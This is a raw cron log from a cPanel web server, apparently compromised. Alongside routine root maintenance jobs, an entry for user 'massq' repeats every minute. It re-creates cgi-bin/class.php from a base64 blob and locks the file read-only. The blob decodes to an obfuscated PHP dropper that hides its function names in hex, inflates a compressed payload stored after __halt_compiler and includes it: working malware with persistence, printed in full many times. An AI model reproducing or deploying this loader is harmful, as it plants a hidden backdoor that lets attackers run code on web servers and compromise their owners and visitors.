Sep  4 20:15:01 server CROND[19218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:15:01 server CROND[19216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:15:01 server CROND[19224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:15:01 server CROND[19222]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 20:15:01 server CROND[19223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:15:01 server CROND[19225]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:15:01 server CROND[19226]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 20:16:01 server CROND[20079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:16:01 server CROND[20080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:16:01 server CROND[20081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:17:01 server CROND[20509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:17:01 server CROND[20510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:17:01 server CROND[20511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:18:01 server CROND[20900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:18:01 server CROND[20901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:18:01 server CROND[20899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:19:02 server CROND[21292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:19:02 server CROND[21293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:19:02 server CROND[21295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:20:01 server CROND[21780]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:20:01 server CROND[21784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:20:01 server CROND[21788]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:20:01 server CROND[21787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:20:01 server CROND[21789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:20:01 server CROND[21793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:20:01 server CROND[21797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:20:01 server CROND[21796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:20:01 server CROND[21798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:21:01 server CROND[22675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:21:01 server CROND[22676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:21:01 server CROND[22677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:22:01 server CROND[23220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:22:01 server CROND[23221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:22:01 server CROND[23222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:23:01 server CROND[23611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:23:01 server CROND[23612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:23:01 server CROND[23613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:24:01 server CROND[24004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:24:01 server CROND[24005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:24:01 server CROND[24006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:25:01 server CROND[24486]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:25:01 server CROND[24488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:25:01 server CROND[24492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:25:01 server CROND[24494]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:25:01 server CROND[24496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:25:01 server CROND[24499]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 20:25:01 server CROND[24495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:25:01 server CROND[24497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:26:01 server CROND[25330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:26:01 server CROND[25329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:26:01 server CROND[25331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
